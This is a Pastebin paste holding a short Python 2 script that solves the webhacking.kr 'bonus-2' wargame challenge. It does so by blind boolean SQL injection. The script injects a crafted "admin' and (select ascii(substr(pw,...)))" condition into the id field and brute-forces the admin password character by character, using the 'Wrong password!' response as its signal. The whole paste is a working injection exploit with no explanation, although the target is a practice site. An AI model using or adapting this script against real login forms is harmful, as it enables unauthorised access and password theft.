Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2, re, urllib
- session = ""
- p = re.compile("Wrong password!")
- for y in range(1,33):
- for x in range(38,128):
- url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"
- data = {"id":"admin' and (select ascii(substr(pw,"+str(y)+",1))) = '"+str(x)+"'#", "pw":"qwer"}
- data = urllib.urlencode(data)
- req = urllib2.Request(url, data)
- req.add_header("Cookie", "PHPSESSID="+session)
- result = urllib2.urlopen(req).read()
- if len(p.findall(result)) == 1:
- print chr(x),
- break
Add Comment
Please, Sign In to add comment